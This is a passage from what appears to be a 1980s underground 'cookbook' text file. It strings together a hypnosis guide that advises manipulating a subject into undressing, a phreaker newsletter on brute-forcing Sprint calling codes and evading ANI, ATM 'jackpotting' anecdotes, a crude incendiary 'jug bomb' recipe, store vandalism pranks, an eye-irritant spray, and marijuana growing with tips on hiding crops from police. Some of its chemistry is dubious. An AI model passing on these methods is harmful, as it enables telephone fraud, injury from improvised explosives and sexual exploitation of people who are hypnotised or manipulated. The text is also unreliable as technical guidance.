  4498. HEAVY AND RELAXED AS WELL.  YOU ARE AWARE OF THE TOTAL RELAXATION YOU ARE
  4499. NOW EXPERIENCING, AND YOU GIVE WAY TO IT.  IT IS GOOD AND PEACEFUL, THE
  4500. TINGLING NOW MOVEVES INTO YOUR FACE AND HEAD, RELAXING YOUR JAWS, NECK, AND
  4501. FACIAL MUSCLES, MAKING YOUR CARES AND WORRIES FLOAT AWAY. AWAY INTO THE
  4502. BLUE SKY AS YOU REST BLISFUlLY ON THE CLOUD....
  4503. IF THEY ARE NOT RESPONSIVE OR YOU THINK THEY (HE OR SHE..) IS GOING TO
  4504.  
  4505.  
  4506. SLEEP, THEN ADD IN A "...ALWAYS CONCENTRATING UPON MY VOICE, INGORING ALL
  4507. OTHER SOUNDS.  EVEN THOUGH OTHER SOUNDS EXSIST, THEY AID YOU IN YOUR
  4508. RELAXATION..." THEY SHOULD SOON LET OUT A SIGH AS IF THEY WERE LETTING GO,
  4509. AND THEIR FACE SHOULD HAVE A "WOODENESS" TO IT, BECOMING FEATURLESS... NOW,
  4510. SAY THE FOLLOWING "....  YOU NOW FIND YOURSELF IN A HALLWAY, THE HALLWAY IS
  4511. PEACEFUL AND NICE. AS I COUNT FROM 10 TO 1 YOU WILL IMAGINE YOURSELF
  4512. WALKING FURTHER AND FURTHER DOWN THE HALL. WHEN I REACH ONE YOU WILL FIND
  4513. YOURSELF WHERE YOU WANT TO BE, IN ANOTHER, HIGHER STATE OF CONCIOUS AND
  4514. MIND. (COUNT FROM TEN TO ONE)....." DO THIS ABOUT THREE OR FOUR TIMES.
  4515. THEN, TO TEST IF THE SUBJECT IS UNDER HYPNOSIS OR NOT, SAY....
  4516. "...YOU FEEL A STRANGE SENSATION IN YOUR (ARM THEY WRITE WITH) ARM, THE
  4517. FEELING BEGINS AT YOUR FINGERS AND SLOWLY MOVES UP YOUR ARM, AS IT MOVES
  4518. THROUGH YOUR ARM YOUR ARM BECOMES LIGHTER AND LIGHTER, IT WILL SOON BE SO
  4519. LIGHT IT WILL .....  BECOMING LIGHTER AND LIGHTER WHICH EACH BREATH AND
  4520. MOMENT..."
  4521. THEIR FINGERS SHOULD BEGIN TO TWITCH AND THEN MOVE UP, THE ARM FOLLOWING,
  4522. NOW MY FRIEND, YOU HAVE HIM/HEP IN HYPNOSIS.  THE FIRST TIME YOU DO THIS,
  4523. WHILE HE/SHE IS UNDER SAY GOOD THINGS, LIKE:  "YOUR GOING TO FEEL GREAT
  4524. TOMORROW" OR "EVERY DAY IN EVERY WAY YOU WILL FIND YOURSELF BECOMING BETTER
  4525. AND BETTER".. OR SOME CRAP LIKE THAT... THE MORE THEY GO UNDER, THE DEEPER
  4526. IN HYPNOSIS THEY WILL GET EACH TIME YOU DO IT.
  4527.  
  4528. +----------------------------+
  4529. ! WHAT TO DO WHEN HYPNOTISED !
  4530. +----------------------------+
  4531.  
  4532. WHEN YOU HAVE THEM UNDER YOU MUST WORD THINGS VERY CAREFULLY TO GET YOUR
  4533. WAY. YOU CANNOT SIMPLY SAY...  TAKE OFF YOUR CLOTHES AND FUCK THE PILLOW.
  4534. NO, THAT WOULD NOT REALLY DO THE TRICK. YOU MUST SAY SOMETHING LIKE....
  4535. "YOU FIND YOUR SELF AT HOME, IN YOUR ROOM AND YOU HAVE TO TAKE A SHOWER
  4536. (VIVIDLY DESCRIBE THEIR ROOM AND WHATS HAPPENING), YOU BEGIN TO TAKE OFF
  4537. YOUR CLOTHES..."  NOW, IT CANT BE THAT SIMPLE, YOU MUST KNOW THE PERSONS
  4538. HOUSE, ROOM, AND SHOWER ROOM. THEN DESCRIBE THINGS VIVIDLY AND TELL THEM
  4539. TO ACT IT OUT (THEY HAVE TO BE DEEPLY UNDER TO DO THIS...).  I WOULD JUST
  4540. SUGGEST THAT YOU EXPERIMENT A WHILE, AND GET TO KNOW HO; TO DO THINGS.
  4541.  
  4542. +-----------+
  4543. ! WAKING UP !
  4544. +-----------+
  4545.  
  4546. WAKING UP IS VERY EASY, JUST SAY.. "...AS I COUNT FROM 1 TO 5 YOU WILL
  4547. FIND YOURSELF BECOMMING MORE AND MORE AWAKE, MORE AND MORE LIVELY.  WHEN
  4548. YOU WAKE UP YOU WILL FIND YOURSELF COMPLETELY ALIVE, AWAKE, AND REFRESHED.
  4549. MENTALLY AND PHYSICALLY, REMEMBERING THE PLEASANT SENSATION THAT HYPNOSIS
  4550. BRINGS...  WAKING UP FEELING LIKE A NEW BORN BABY, REBORN WITH LIFE AND
  4551. VIGOR, FEELING EXCELLENT. REMEMBERING THAT NEXT TIME YOU ENTER HYPNOSIS IT
  4552. WILL BECOME AN EVER INCREASING DEEPER AND DEEPER STATE THAN BEFORE.
  4553. 1- YOU FEEL ENERGY COURSE THROUGHOUT YOUR LIMBS.
  4554. 2- YOU BEGIN TO BREATHE DEEPLY, STIRRING.
  4555. 3- BEGINING TO MOVE MORE AND MORE YOUR EYES OPEN, BRINGING YOU UP TO
  4556. FULL CONCIOUS.
  4557. 4- YOU ARE UP,UP, UP AND AWAKENING MORE AND MORE.
  4558. 5- YOU ARE AWAKE AND FEELING GREAT."
  4559.  
  4560. AND THATS IT!  YOU NOW KNOW HOW TO HYPNOTISE YOURSELF AND SOMEONE ELSE.
  4561. YOU WILL LEARN MORE AND MORE AS YOU EXPERIMENT.
  4562.  
  4563.                             ------------------Jolly Roger
  4564.  
  4565.  
  4566. ç##########################################################################
  4567. #                                                                        #
  4568. #                           The Remote Informer                          #
  4569. #                                                                        #
  4570. #------------------------------------------------------------------------#
  4571. #             Reader supported newsletter for the underworld             #
  4572. #------------------------------------------------------------------------#
  4573. #                                                                        #
  4574. #                    Editors: Tracker and Norman Bates                   #
  4575. #                                                                        #
  4576. #========================================================================#
  4577. # September 1987                                               Issue: 01 #
  4578. #========================================================================#
  4579. #                              The Headlines                             #
  4580. #------------------------------------------------------------------------#
  4581. #                     1) Introduction                                    #
  4582. #                     2) Hacking Sprint: The Easy Way                    #
  4583. #                     3) Rumors: Why spread them?                        #
  4584. #                     4) The New Sprint FON Calling Cards                #
  4585. #                     5) Automatic Number Identifier (ANI)               #
  4586. ##########################################################################
  4587.  
  4588.                    Introduction
  4589. --------------------------------------------------------------------------
  4590. Welcome to the first issue of 'The Remote Informer'!  This newsletter
  4591. is reader supported.  If the readers of this newsletter do not help
  4592. support it, then it will end.  We are putting this out to help out the
  4593. ones that would like to read it.  If you are one of those who thinks they
  4594. know everything, then don't bother reading it.  This newsletter is not
  4595. anything like the future issues.  The future issues will contain several
  4596. sections, as long as reader input is obtained.  Below is an outline
  4597. overview of the sections in the future issues.
  4598.  
  4599. I/O Board (Input/Output Board)
  4600.  
  4601. The I/O Board is for questions you have, that we might be able to
  4602. answer or atleast refer you to someone or something.  We will be honest if
  4603. we cannot help you.  We will not make up something, or to the effect, just
  4604. to make it look like we answered you.  There will be a section in the I/O
  4605. Board for questions we cannot answer, and then the readers will have the
  4606. opportunity to answer it.  We will print anything that is reasonable in
  4607. the newsletter, even complaints if you feel like you are better than
  4608. everyone.
  4609.  
  4610. NewsCenter
  4611.  
  4612. This section will be for news around the underworld.  It will talk of
  4613. busts of people in the underworld and anything else that would be
  4614. considered news.  If you find articles in the paper, or something happens
  4615. in your local area, type it up, and upload it to one of the boards listed
  4616. at the end of the newsletter.  Your handle will be placed in the article.
  4617. If you do enter a news article, please state the date and from where you
  4618. got it.
  4619.  
  4620. Feature Section
  4621.  
  4622. The Feature Section will be the largest of the sections as it will be
  4623. on the topic that is featured in that issue.  This will be largely reader
  4624.  
  4625.  
  4626. input which will be sent in between issues.  At the end of the issue at
  4627. hand, it will tell the topic of the next issue, therefore, if you have
  4628. something to contribute, then you will have ample time to prepare your
  4629. article.
  4630.  
  4631. Hardware/Software Review
  4632. In this section, we will review the good and bad points of hardware
  4633. and software related to the underworld.  It will be an extensive review,
  4634. rather than just a small paragraph.
  4635.  
  4636. The Tops
  4637.  
  4638. This section will be the area where the top underworld BBS's, hacking
  4639. programs, modem scanners, etc. will be shown.  This will be reader
  4640. selected and will not be altered in anyway.  The topics are listed below.
  4641. Underworld BBS's (Hack, Phreak, Card, Anarchy, etc.)
  4642. Hacking programs for Hayes compatables
  4643. Hacking programs for 1030/Xm301 modems
  4644. Modem scanners for Hayes compatables
  4645. Modem scanners for 1030/Xm301 modems
  4646. Other type illegal programs
  4647. You may add topics to the list if enough will support it.
  4648.  
  4649. Tid Bits
  4650.  
  4651. This will contain tips and helpful information sent in by the users.
  4652. If you have any information you wish to contribute, then put it in a text
  4653. file and upload it to one of the BBS's listed at the end of the
  4654. newsletter.
  4655. Please, no long distance codes, mainframe passwords, etc.
  4656. We may add other sections as time goes by.  This newsletter will not
  4657. be put out on a regular basis.  It will be put out when we have enough
  4658. articles and information to put in it.  There may be up to 5 a month, but
  4659. there will always be at least one a month.  We would like you, the readers,
  4660. to send us anything you feel would be of interest to others, like hacking
  4661. hints, methods of hacking long distance companies, companies to card from,
  4662. etc.  We will maintain the newsletter as long as the readers support it.
  4663. That is the end of the introduction, but take a look at this newsletter,
  4664. as it does contain information that may be of value to you.
  4665. ==========================================================================
  4666.                       Hacking Sprint: The Easy Way
  4667. -------------------------------------------------------------------------
  4668.                              By: Tracker
  4669.  
  4670. If you hack US Sprint, 950-0777 (by the way it is no longer GTE
  4671. Sprint), and you are fustrated at hacking several hours only to find one
  4672. or two codes, then follow these tips, and it will increase your results
  4673. tremendously.  First, one thing that Mr. Mojo proved is that Sprint will
  4674. not store more than one code in every hundred numbers.  (ex: 98765400 to
  4675. 98765499 may contain only one code).   There may NOT be a code in that
  4676. hundred, but there will never be more than one.
  4677. Sprint's 9 digit codes are stored from 500000000 through 999999999.
  4678. In the beginning of Sprint's 950 port, they only had 8 digit codes.  Then
  4679. they started converting to 9 digit codes, storing all 8 digit codes
  4680. between 10000000 and 49999999 and all 9 digit codes between 500000000 and
  4681. 999999999.  Sprint has since cancelled most 8 digit codes, although there
  4682. are a few left that have been denoted as test codes.  Occaisionally, I
  4683. hear of phreaks saying they have 8 digit codes, but when verifying them,
  4684.  
  4685.  
  4686. the codes were invalid.
  4687. Now, where do you start?  You have already narrowed the low and high
  4688. numbers in half, therefore already increasing your chances of good results
  4689. by 50 percent.  The next step is to find a good prefix to hack.  By the
  4690. way, a prefix, in hacking terms, is the first digits in a code that can be
  4691. any length except the same number of digits the code is.  (ex: 123456789
  4692. is a code.  That means 1, 12, 123, 1234, 12345, 123456, 1234567, and
  4693. 12345678 are prefixes)  The way you find a good prefix to hack is to
  4694. manually enter a code prefix.  If when you enter the code prefix and a
  4695. valid destination number and you do not hear the ringing of the recording
  4696. telling you that the code is invalid until near the end of the number,
  4697. then you know the prefix is valid.  Here is a chart to follow when doing
  4698. this:
  4699. Code      - Destination    Range good codes exist
  4700. -------------------------------------------------
  4701. 123456789 - 6192R           123400000 - 123499999
  4702. 123456789 - 619267R         123450000 - 123459999
  4703. 123456789 - 61926702R       123456000 - 123456999
  4704. 123456789 - 6192670293R     123456700 - 123456799
  4705. -------------------------------------------------
  4706. ( R - Denotes when ring for recording starts)
  4707. To prove
  4708. this true, I ran a test using OmniHack 1.3p, written by
  4709. Jolly Joe.  In this test I found a prefix where the last 3 digits were all
  4710. I had to hack.  I tested each hundred of the 6 digit prefix finding that
  4711. all but 4 had the ring start after the fourth digit was dialed in the
  4712. destination number.  The other four did not ring until I had finished the
  4713. entire code.  I set OmniHack to hack the prefix + 00 until prefix + 99.
  4714. (ex: xxxxxxy00 to xxxxxxy99: where y is one of the four numbers that the
  4715. ring did not start until the dialing was completed.)  Using this method, I
  4716. found four codes in a total of 241 attempts using ascending hacking (AKA:
  4717. Sequential).  Below you will see a record of my hack:
  4718. Range of hack            Codes found     Tries
  4719. ----------------------------------------------
  4720. xxxxxx300 - xxxxxx399     xxxxxx350        50
  4721. xxxxxx500 - xxxxxx599     xxxxxx568        68
  4722. xxxxxx600 - xxxxxx699     xxxxxx646        46
  4723. xxxxxx800 - xxxxxx899     xxxxxx877        77
  4724. ----------------------------------------------
  4725. Totals                     4 codes        241
  4726. As you see, these methods work.  Follow these guidlines and tips and
  4727. you should have an increase in production of codes in the future hacking
  4728. Sprint.  Also, if you have any hints/tips you think others could benefit
  4729. from, then type them up and upload them to one of the boards at the end of
  4730. the newsletter.
  4731. ==========================================================================
  4732.                          Rumors: Why Spread Them?
  4733. --------------------------------------------------------------------------
  4734.                               By: Tracker
  4735. Do you ever get tired of hearing rumors?  You know, someone gets an
  4736. urge to impress others, so they create a rumor that some long distance
  4737. company is now using tracing equipment.  Why start rumors?  It only scares
  4738. others out of phreaking, and then makes you, the person who started the
  4739. rumor, look like Mr. Big.  This article is short, but it should make you
  4740. aware of the rumors that people spread for personal gain.  The best thing
  4741. to do is to denote them as a rumor starter and then leave it at that.  You
  4742. should not rag on them constantly, since if the other users cannot
  4743. determine if it is fact or rumor, then they should suffer the
  4744.  
  4745.  
  4746. consequences.
  4747. ==========================================================================
  4748.                      The New Sprint FON Calling Cards
  4749. --------------------------------------------------------------------------
  4750.                                By: Tracker
  4751. US Sprint has opened up a new long distance network called the Fiber
  4752. Optic Network (FON), in which subscribers are given calling cards.  These
  4753. calling cards are 14 digits, and though, seem randomly generated, they are
  4754. actually encrypted.  The rumors floating around about people getting
  4755. caught using the Sprint FON calling cards are fact, not rumors.  The
  4756. reason people are getting caught is that they confuse the FON calling
  4757. cards with the local 950 port authorization codes.  If you will remember,
  4758. you never use AT&T calling cards from you home phone.  It has ANI
  4759. capability, which is not tracing, but rather the originating phone number
  4760. is placed on the bill as soon as the call is completed.  They know your
  4761. phone number when you call the 800 access port, but they do not record it
  4762. until your call is completed.  Also, through several of my hacks, I came
  4763. up with some interesting information surrounding the new Sprint network.
  4764. They are listed below.
  4765. 800-877-0000
  4766. This number is for information on US Sprint's 800 calling card
  4767. service.  I have not played around with it, but I believe it is for
  4768. trouble or help with the FON calling cards.  I am not sure if it is for
  4769. subscribing to the FON network.
  4770. 800-877-0002 - You hear a short tone, then nothing.
  4771. 800-877-0003 - US Sprint Alpha Test Channel #1
  4772. 800-877-(0004-0999)
  4773. When you call these numbers, you get a recording saying: "Welcome to
  4774. US Sprint's 1 plus service."  When the recording stops, if you hit the
  4775. pound key (#) you will get the calling card dial tone.
  4776. Other related Sprint numbers
  4777. 800-521-4949   This is the number that you subscribe to US Sprint with.
  4778. You may also subscribe to the FON network on this number.  It will take 4
  4779. to 5 weeks for your calling card to arrive.
  4780. 10777
  4781. This is US Sprint's equal access number.  When you dial this number,
  4782. you then dial the number you are calling, and it will be billed through US
  4783. Sprint, and you will receive their long distance line for that call.  Note
  4784. that you will be billed for calls made through equal access.  Do not
  4785. mistake it to be a method of phreaking, unless used from a remote
  4786. location.
  4787. If you are in US Sprint's 1+ service then call 1+700-555-1414, which
  4788. will tell you which long distance company you are using.  When you hear:
  4789. "Thank you for choosing US Sprint's 1 plus service," hit the pound key
  4790. (#), and then you will get the US Sprint dial tone.  This however is just
  4791. the same as if you are calling from your home phone if you dial direct, so
  4792. you would be billed for calls made through that, but there are ways to use
  4793. this to your advantage as in using equal access through a PBX.
  4794. ==========================================================================
  4795.                    Automatic Number Identification (ANI)
  4796. --------------------------------------------------------------------------
  4797.                              By: Tracker
  4798.  
  4799. The true definition for Automatic Number Identification has not been
  4800. widely known to many.  Automatic Number Identification, (AKA: ANI), is the
  4801. process of the destination number knowing the originating number, which is
  4802. where you are calling from.  The method of achieving this is to send the
  4803. phone number that you are calling from in coded form ahead of the
  4804.  
  4805.  
  4806. destination number. Below is an example of this.
  4807. ANI Method
  4808. Dial: 267-0293
  4809. Sent: ********2670293
  4810. * - Denotes the originating number which is coded and sent before the
  4811.     number
  4812. As you noticed there are 8 digits in the coded number.  This is
  4813. because, at least I believe, it is stored in a binary-like form.
  4814. Automatic Number Identification means a limited future in phreaking. ANI
  4815. does not threaten phreaking very much yet, but it will in the near future.
  4816. A new switching system will soon be installed in most cities that are
  4817. covered by ESS, Electronic Switching System, now.
  4818. The system will have ANI capabilities which will be supplied to the
  4819. owners of phone lines as an≡ ≡added extra.  The owner's phone will have
  4820. an LED read-out that will show the phone number of the people that
  4821. call you.  You will be able to block some numbers, so that people
  4822. cannot call you.  This system is in the testing stages currently, but will
  4823. soon be installed across most of the country.  As you see, this will
  4824. end a large part of phreaking, until we, the phreakers, can come up with
  4825. an alternative.  As I have been told by several, usually reliable,
  4826. people, this system is called ISS, which I am not sure of the meaning of
  4827. this, and is being tested currently in Rhode Island.
  4828. 800 in-watts lines set up by AT&T support ANI.  The equipment to
  4829. decode an ANI coded origination number does not costs as much as you would
  4830. expect.  950 ports do not offer ANI capability, no matter what you have
  4831. been told.  The 950 ports will only give the city in which they are based,
  4832. this usually being the largest in the state, sometimes the capitol.
  4833. One last thing that I should tell you is that ANI is not related to
  4834. tracing.  Tracing can be done on any number whether local, 950, etc.  One
  4835. way around this, especially when dialing Alliance TeleConferencing, is to
  4836. dial through several extenders or ports.  ANI will only cover the number
  4837. that is calling it, and if you call through a number that does not support
  4838. ANI, then your number will never be known.
  4839. ==========================================================================
  4840.                               The Disclaimer!
  4841. --------------------------------------------------------------------------
  4842.  
  4843. We, the editors, take no responsibility for your actions and use of
  4844. the information in this newsletter.  This newsletter is for informational
  4845. purposes only.  There will never be any long distance codes, passwords,
  4846. etc. in this newsletter.  If you are easily offended by telecommunication
  4847. discussions, then we suggest that you not read this newsletter.  But for
  4848. those who are truely interested in the information in this newsletter,
  4849. enjoy it.
  4850.  
  4851. Brought to you in Cookbook, courtesy of the Jolly Roger!!!!!!!!!!
  4852.  
  4853.  
  4854. Jackpotting ATM Machines                courtesy of the Jolly Roger
  4855.  
  4856. JACKPOTTING was done rather successfully a while back in (you guessed it)
  4857. New York. What the culprits did was:
  4858. Sever (actually cross over) the line between the ATM and the
  4859. host. insert a microcomputer between the ATM and the host. insert
  4860. a fradulent card into the ATM.  (card=cash card, not hardware)
  4861. What the ATM did was: send a signal to the host, saying "Hey!  Can I
  4862. give this guy money, or is he broke, or is his card invalid?"
  4863. What the microcomputer did was: intercept the signal from the host,
  4864.  
  4865.  
  4866. discard it, send "there's no one using the ATM" signal.
  4867. What the host did was: get the "no one using" signal, send back "okay,
  4868. then for God's sake don't spit out any money!" signal to ATM.
  4869. What the microcomputer did was:
  4870. intercept signal (again), throw it away (again), send "Wow!  That
  4871. guy is like TOO rich!  Give him as much money as he wants.  In
  4872. fact, he's so loaded, give him ALL the cash we have!  He is
  4873. really a valued customer." signal.
  4874. What the ATM did:
  4875. what else?  Obediently dispense cash till the cows came home (or
  4876. very nearly so).
  4877. What the crooks got:
  4878. well in excess of $120,000 (for one weekend's work), and several
  4879. years when they were caught.
  4880. This story was used at a CRYPTOGRAPHY conference I attended a while
  4881. ago to demonstrate the need for better information security.  The
  4882. lines between ATM's & their hosts are usually 'weak' in the sense that
  4883. the information transmitted on them is generally not encrypted in any
  4884. way.  One of the ways that JACKPOTTING can be defeated is to encrypt
  4885. the information passing between the ATM and the host.  As long as the
  4886. key cannot be determined from the ciphertext, the transmission (and
  4887. hence the transaction) is secure.
  4888. A more believable, technically accurate story might concern a person
  4889. who uses a computer between the ATM and the host to determine the key
  4890. before actually fooling the host.  As everyone knows, people find
  4891. cryptanalysis a very exciting and engrossing subject...don't they?
  4892. (Hee-Hee)
  4893.  
  4894. _____             ______
  4895. |   |-<<-|   |-<<-|    |
  4896. |ATM|    micro    |Host|
  4897. |___|->>-|   |->>-|____|
  4898.  
  4899. The B of A ATM's are connected through dedicated lines to a host
  4900. computer as the Bishop said. However, for maintenance purposes, there
  4901. is at least one separate dial-up line also going to that same host
  4902. computer. This guy basically bs'ed his way over the phone till he
  4903. found someone stupid enough to give him th number. After finding that,
  4904. he had has Apple hack at the code. Simple.
  4905. Step 2: He had a friend go to an ATM with any B of A ATM card. He
  4906. stayed at home with the Apple connected to the host. When his friend
  4907. inserted the card, the host displayed it. The guy with the Apple
  4908. modified the status & number of the card directly in the host's
  4909. memory. He turned the card into a security card, used for testing
  4910. purposes. At that point, the ATM did whatever it's operator told it to
  4911. do.
  4912. The next day, he went into the bank with the $2000 he received,
  4913. talked to the manager and told him every detail of what he'd done. The
  4914. manager gave him his business card and told him that he had a job
  4915. waiting for him when he got out of school.
  4916. Now, B of A has been warned, they might have changed the system. On
  4917. the other hand, it'd be awful expensive to do that over the whole
  4918. country when only a handful of people have the resources and even less
  4919. have the intelligence to duplicate the feat. Who knows?
  4920. Jug Bomb                                        by the Jolly Roger
  4921.  
  4922. Take a glass jug, and put 3 to 4 drops of gasoline into it. Then put
  4923. the cap on, and swish the gas around so the inner surface of the jug
  4924.  
  4925.  
  4926. is coated.  Then add a few drops of potassium permanganate solution
  4927. into it and cap it.  To blow it up, either throw it at something, or
  4928. roll it at something.
  4929.                           ------------Jolly Roger
  4930.  
  4931. Fun at K-Mart                                   by the Jolly Roger
  4932.  
  4933. Well, first off, one must realise the importance of K-Marts in
  4934. society today. First off, K-Marts provide things cheaper to those who
  4935. can't afford to shop at higher quality stores.  Although, all I ever
  4936. see in there is minorities and Senior Citizens, and the poor people in
  4937. our city.  Personally, I wouldn't be caught dead in there.  But, once,
  4938. I did.
  4939. You see, once, after The Moon Roach and Havoc Chaos(Dear friends of
  4940. mine) and I were exploring such fun things as rooftops, we came along
  4941. a K-Mart.  Amused, and cold for that matter, we wandered in.  The
  4942. Tension mounts.
  4943. As we walked up to the entrance, we were nearly attacked by Youth
  4944. Groups selling cheap cookies, and wheelchair sticken people selling
  4945. American Flags.  After laughing at these people, we entered. This is
  4946. where the real fun begins...
  4947. First, we wandered around the store, and turned on all the blue
  4948. lights we could find. That really distracts and confuses the
  4949. attendents...Fun to do...
  4950. The first neat thing, is to go to the section of the store where
  4951. they sell computers. Darkness engulf the earth the day they find Apple
  4952. Computers being sold there.  Instead, lesser computers like the
  4953. laughable C-64 can be found there...Turn it on, and make sure
  4954. nobody's looking...Then, once in Basic, type...
  4955.  
  4956. ]10 PRINT "Fuck the world!  Anarchy Rules!" (or something to that
  4957.                                              effect.)
  4958. ]20 GOTO 10 and walk away.
  4959.  
  4960. Also, set the sample radios in the store to a santanic rock station,
  4961. and turn the radio off.  Then, set the alarm for two minutes ahead of
  4962. the time displayed there.  Turn the volume up all the way, and walk
  4963. away.  After about two minutes, you will see the clerk feebly attempt
  4964. to turn the radio down or off.  It's really neat to set ten or more
  4965. radios to different stations, and walk away.
  4966. One of my favorite things to do, is to get onto the intercom system
  4967. of the store.  Easier typed then done.  First, check out the garden
  4968. department.  You say there's no attendent there? Good.  Sneak
  4969. carefully over to the phone behind the cheap counter there, and pick
  4970. it up.  Dial the number corrisponding to the item that says 'PAGE'...
  4971. And talk.  You will note that your voice will echo all over the bowels
  4972. of K-Mart.
  4973. I would suggest announcing something on the lines of: "Anarchy
  4974. rules!!"
  4975.                                  ---------------Jolly Roger
  4976.  
  4977. Mace Substitute                                 by the Jolly Roger
  4978.  
  4979. 3 PARTS: Alcohol
  4980. 1/2 PARTS: Iodine
  4981. 1/2 PARTS: Salt
  4982. Or:
  4983. 3 PARTS: Alcohol
  4984.  
  4985.  
  4986. 1 PARTS: Iodized Salt (Mortons)
  4987.  
  4988. It's not actual mace, but it does a damn good job on the eyes...
  4989.  
  4990.                      --------------Jolly Roger
  4991.  
  4992. How to grow Marijuana                       courtesy of the Jolly Roger
  4993.  
  4994.                            MARIJUANA
  4995. Marijuana is a deciduous plant which grows from seeds. The fibrous section
  4996. of the plant was (has been replaced by synthetics) used to make rope.
  4997. The flowering tops, leaves, seeds, and resin of the plant is
  4998. used by just about everyone to get HIGH.
  4999. Normally, the vegetable parts of the plant are smoked to produce this
  5000. "high," but thay can also be eaten. The axtive ingredient in marijuana
  5001. resin is THC (tetahydrocannabinol). Marijuana contains from 1 - 4 per
  5002. cent THC (4 per cent must be considered GOOD dope).
  5003. Marijuana grows wild in many parts of the world, and is cultivated in
  5004. Mexice, Vietnam, Africa, Nepal, India, South America, etc.,etc. The
  5005. marijuana sold in the United States comes primarily from, yes, the
  5006. Uniited States.
  5007. It is estimated that at least 50 per cent of the grass on the streets
  5008. in America is homegrown. The next largest bunch comes actoss the
  5009. borders from Mexico, with smaller amounts filtering in from Panama,
  5010. occasionally South America, and occasinally, Africa.
  5011. Hashish is the pure resin of the marijuana plant, which is scraped from
  5012. the flowering tops of the plant and lumped together. Ganja is the
  5013. ground-up tops of the finest plants. (It is also the name given to any
  5014. sort of marijuana in Jamaica.)
  5015. Marijuana will deteriorate in about two years if exposed to light,
  5016. air or heat. It should always be stored in cool places.
  5017. Grass prices in the United States are a direct reflection of the laws
  5018. of supply and demand (and you thought that high school economics
  5019. would never be useful). A series of large border busts, a short growing
  5020. season, a bad crop, any number of things can drive the price of marijuana
  5021. up. Demand still seems to be on the increase in the U.S., so prices seldom
  5022. fall below last year's level.
  5023. Each year a small seasonal drought occurs, as last year's supply runs
  5024. low, and next year's crop is not up yet. Prices usually rase about
  5025. 20 - 75 per cent during this time and then fall back to "normal."
  5026. Unquestionably, a large shortage of grass causes a percentage of smokers
  5027. to turn to harder drugs instead. For this reason, no grass control
  5028. program can ever be beneficial or "successful."
  5029.                                 GROW IT!
  5030. There is one surefire way of avoiding high prices and the grass DT's:
  5031. Grow your own. This is not as difficult as some "authorities" on the
  5032. subject would make you believe. Marijuana is a weed, and a fairly
  5033. vivacious one at that, and it will grow almost in spite of you.
  5034.                                OUTDOORS
  5035. Contrary to propular belief, grass grows well in many place on the
  5036. North American continent. It will flourish even if the temperature does
  5037. not raise above 75 degrees.
  5038. The plants do need a minimum of eight hours of sunlight per day and
  5039. should be planted in late April/early May, BUT DEFINITELY, after the
  5040. last frost of the year.
  5041. Growing an outdoor, or "au naturel", crop has been the favored method
  5042. over the years, because grass seems to grow better without as much
  5043. attention when in its natural habitat.
  5044.  
  5045.  
  5046. Of course, an outdoors setting requires special precautions not encoun-
  5047. tered with an indoors crop; you must be able to avoid detection, both from
  5048. law enforcement freaks and common freaks, both of whom will take your
  5049. weed and probably use it. Of course, one will also arrest you. You must
  5050. also have access to the area to prepare the soil and harvest the crop.
  5051. There are two schools of thought about starting the seeds. One says you
  5052. should start the seedlings for about ten days in an indoor starter box
  5053. (see the indoor section) and then transplant. The other theory is that
  5054. you should just start them in the correct location. Fewer plants will
  5055. come up with this method, but there is no shock of transplant to
  5056. kill some of the seedlings halfway through.
  5057. The soil should be preprepared for the little devils by turning it
  5058. over a couple of times and adding about one cup of hydrated lime per
  5059. square yard of soil and a little bit (not too much, now) of good water
  5060. soluble nitrogen fertilizer. The soil should now be watered several
  5061. times and left to sit about one week.
  5062. The plants should be planted at least three feet apart, getting too
  5063. greedy and stacking them too close will result in stunted plants.
  5064. The plants like some water during their growing season, BUT not too
  5065. much. This is especially true around the roots, as too much water will
  5066. rot the root system.
  5067. Grass grows well in corn or hops, and these plants will help provide
  5068. some camouflage. It does not grow well with rye, spinach, or pepperweed.
  5069. It is probally a good idea to plant in many small, broken patches, as
  5070. people tend to notice patterns.
  5071.                        GENERAL GROWING INFO
  5072. Both the male and he female plant produce THC resin, although the male
  5073. is not as strong as the female. In a good crop, the male will still be
  5074. plenty smokable and should not be thrown away under any circumstances.
  5075. Marijuana can reach a hight of twenty feet (or would you rather wish on
  5076. a star) and obtain a diameter of 4 1/2 inches. If normal, it has a sex
  5077. ratio of about 1:1, but this can be altered in several ways.
  5078. The male plant dies in the 12th week of growing, the female will live
  5079. another 3 - 5 weeks to produce her younguns. Females can weigh twice as
  5080. much as males when they are mature.
  5081. Marijuana soil should compact when you squeeze it, but should also break
  5082. apart with a small pressure and absorb water well. A nice test
  5083. for either indoor or outdoor growing is to add a bunch of worms to the
  5084. soil, if they live and hang aroung, it is good soil, but if they don't,
  5085. well, change it. Worms also help keep the soil loose enough for the
  5086. plants to grow well.
  5087.                                 SEEDS
  5088. To get good grass, you should start with the right seeds. A nice starting
  5089. point is to save the seeds form the best batch you have consumed. The
  5090. seeds should be virile, that is, they should not be grey and shiriveled
  5091. up, but green, meaty, and healthy appearing. A nice test is to drop the
  5092. seeds on a hot frying pan. If they "CRACK," they are probably good for
  5093. planting purposes.
  5094. The seeds should be soaked in distilled water overnight before planting.
  5095. BE SURE to plant in the ground with the pointy end UP. Plant about 1/2"
  5096. deep. Healthy seeds will sprout in about five days.
  5097.                              SPROUTING
  5098. The best all around sprouting method is probably to make a sprouting box
  5099. (as sold in nurseries) with a slated bottom or use paper cups with holes
  5100. punched in the bottoms. The sprouting soil should be a mixture of humus,
  5101. soil, and five sand with a bit of organic fertilizer and water mixed
  5102. in about one week before planting.
  5103. When ready to transplant, you must be sure and leave a ball of soil
  5104.  
  5105.  
  5106. around the roots of each plant. This whole ball is dropped into a
  5107. baseball-sized hold in the permanent soil.
  5108. If you are growing/transplanting indoors, you should use a green
  5109. safe light (purchased at nurseries) during the transplanting operation.
  5110. If you are transplanting outdoors, you should time it about two
  5111. hours befor sunset to avoid damage to the plant. Always wear cotton
  5112. gloves when handling the young plants.
  5113. After the plants are set in the hole, you should water them. It is also
  5114. a good idea to use a commercial transplant chemical (also purchased at
  5115. nurseries) to help then overcome the shock.
  5116.                           INDOOR GROWING
  5117. Indoor growing has many advantages, besides the apparent fact that it
  5118. is much harder to have your crop "found," you can control the ambient
  5119. conditions just exactly as you want them and get a guaranteed "good"
  5120. plant.
  5121. Plants grown indoors will not appear the same as their outdoor cousins.
  5122. They will be scrawnier appearing with a weak stems and may even require
  5123. you to tie them to a growing post to remain upright, BUT THEY WILL HAVE
  5124. AS MUCH OR MORE RESIN!
  5125. If growing in a room, you should put tar paper on the floors and then
  5126. buy sterilized bags of soil form a nursery. You will need about one
  5127. cubic foot of soil for eavh plant.
